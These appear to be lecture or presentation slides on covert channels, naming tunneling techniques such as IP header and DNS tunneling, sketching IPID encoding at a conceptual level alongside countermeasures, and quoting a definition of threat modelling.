

Contemporary examples

- IP Header Tunneling
- DNS Tunneling
- Entity Tag Tunneling
- Steganography

IP Header Tunneling (2)

- Tunneling methodology:
 - Encode data in 16 bit blocks
 - Use as IPID header
 - Decode on other end
- · Countermeasures:
 - Compartmentalization of network
 - Rewriting headers on perimeter devices

Threat Modelling

- "understanding the complexity of the system and identifying all possible threats to the system, regardless of whether or not they can be exploited" (Myagmar, Lee & Yurcik, 2005)
- Open-ended: define the security requirements, define the threats and review them in detail
- Usually only applied in software development: nevertheless a candidate process for production covert channel analysis
